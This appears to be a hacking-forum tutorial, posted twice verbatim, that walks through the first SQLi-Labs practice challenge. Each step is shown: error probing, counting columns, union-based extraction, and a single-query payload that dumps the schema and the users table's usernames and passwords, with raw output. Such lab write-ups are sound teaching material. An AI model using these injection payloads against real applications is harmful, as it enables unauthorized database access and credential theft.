+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: [SQLi-Labs] Challenge #1 (/Thread-SQLi-Labs-Challenge-1)
[SQLi-Labs] Challenge #1 - RogueCoder - 10-09-2013
SQLi-Labs - Challenge #1
(Get - Error based - Single quotes)
(Get - Error based - Single quotes)
Start: Wednesday, October 9 2013 19:44
End: Wednesday, October 9 2013 19:55
Description & Goal:
This is a very basic challenge. It requires only a straight forward union select injection to extract data from the database. My goal was to to find an interesting table and output the data from it, and here's how I did it
The Process
Step 1: Verify the vulnerability
To verify the vulnerability I used the normal tick to look for any error messages that can give me some useful information
Code:
?id=0'This resulted in the following message
Quote:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
Step 2: Find the number of columns
Code:
?id=0' group by 10 -- - FAILURE
?id=0' group by 5 -- - FAILURE
?id=0' group by 4 -- - FAILURE
?id=0' group by 3 -- - SUCCESSStep 3: Determine in what column to output the data
Code:
?id=0' union select 1,2,3 -- -Step 4: Output database version, name and user
Code:
?id=0' union select 1,2,concat_ws(0x7e, version(), database(), user()) -- -The output
Quote:5.5.32-0ubuntu0.13.04.1~security~root@localhost
Step 5: Output all tables and columns for the current database
The reason why I decided to go with this approach is because the view area we have to work with in this challenge does not create a list of data. It only output's one result. This means that if I decided to go with the traditional concat(table_name,' > ', column_name) I would have to go through all information one by one to get all the data. Instead, by using this approach I am able to extract all the requested data, table_name and column_name in this case, through only one query. Which of course is much more efficient that using the LIMIT clause and having to send 12 requests.
Code:
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema=database()) and (table_schema>=@) and (@)in (@:=concat(@,0x0a,table_name,' > ',column_name))))x) -- -The output
Quote:emails > id
emails > email_id
referers > id
referers > referer
referers > ip_address
uagents > id
uagents > uagent
uagents > ip_address
uagents > username
users > id
users > username
users > password
Step 6: Output all data from the users table
Here I'm using a modified version of the query used to list the table and column names, and I'm able to output all the information in the users table by sending only one query
Code:
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (users) where (id>=@) and (@)in (@:=concat(@,0x0a,id,' > ',username,' > ',password))))x) -- -The output
Quote:1 > Dumb > Dumb
2 > Angelina > I-kill-you
3 > Dummy > p@ssword
4 > secure > crappy
5 > stupid > stupidity
6 > superman > genious
7 > batman > mob!le
8 > admin > test
And we're done!
This was a simple, but still a fun challenge. I'm really looking forward to the rest of the series now, even though I know it will get a lot harder, and that I am facing some really hard tasks that I, at this point, have no clue on how to solve
Hope you found something useful here and if you have any questions, please let me know and I will try to answer them as good as I can
Happy hacking!
[SQLi-Labs] Challenge #1 - RogueCoder - 10-09-2013
SQLi-Labs - Challenge #1
(Get - Error based - Single quotes)
(Get - Error based - Single quotes)
Start: Wednesday, October 9 2013 19:44
End: Wednesday, October 9 2013 19:55
Description & Goal:
This is a very basic challenge. It requires only a straight forward union select injection to extract data from the database. My goal was to to find an interesting table and output the data from it, and here's how I did it
The Process
Step 1: Verify the vulnerability
To verify the vulnerability I used the normal tick to look for any error messages that can give me some useful information
Code:
?id=0'This resulted in the following message
Quote:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
Step 2: Find the number of columns
Code:
?id=0' group by 10 -- - FAILURE
?id=0' group by 5 -- - FAILURE
?id=0' group by 4 -- - FAILURE
?id=0' group by 3 -- - SUCCESSStep 3: Determine in what column to output the data
Code:
?id=0' union select 1,2,3 -- -Step 4: Output database version, name and user
Code:
?id=0' union select 1,2,concat_ws(0x7e, version(), database(), user()) -- -The output
Quote:5.5.32-0ubuntu0.13.04.1~security~root@localhost
Step 5: Output all tables and columns for the current database
The reason why I decided to go with this approach is because the view area we have to work with in this challenge does not create a list of data. It only output's one result. This means that if I decided to go with the traditional concat(table_name,' > ', column_name) I would have to go through all information one by one to get all the data. Instead, by using this approach I am able to extract all the requested data, table_name and column_name in this case, through only one query. Which of course is much more efficient that using the LIMIT clause and having to send 12 requests.
Code:
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema=database()) and (table_schema>=@) and (@)in (@:=concat(@,0x0a,table_name,' > ',column_name))))x) -- -The output
Quote:emails > id
emails > email_id
referers > id
referers > referer
referers > ip_address
uagents > id
uagents > uagent
uagents > ip_address
uagents > username
users > id
users > username
users > password
Step 6: Output all data from the users table
Here I'm using a modified version of the query used to list the table and column names, and I'm able to output all the information in the users table by sending only one query
Code:
?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (users) where (id>=@) and (@)in (@:=concat(@,0x0a,id,' > ',username,' > ',password))))x) -- -The output
Quote:1 > Dumb > Dumb
2 > Angelina > I-kill-you
3 > Dummy > p@ssword
4 > secure > crappy
5 > stupid > stupidity
6 > superman > genious
7 > batman > mob!le
8 > admin > test
And we're done!
This was a simple, but still a fun challenge. I'm really looking forward to the rest of the series now, even though I know it will get a lot harder, and that I am facing some really hard tasks that I, at this point, have no clue on how to solve
Hope you found something useful here and if you have any questions, please let me know and I will try to answer them as good as I can
Happy hacking!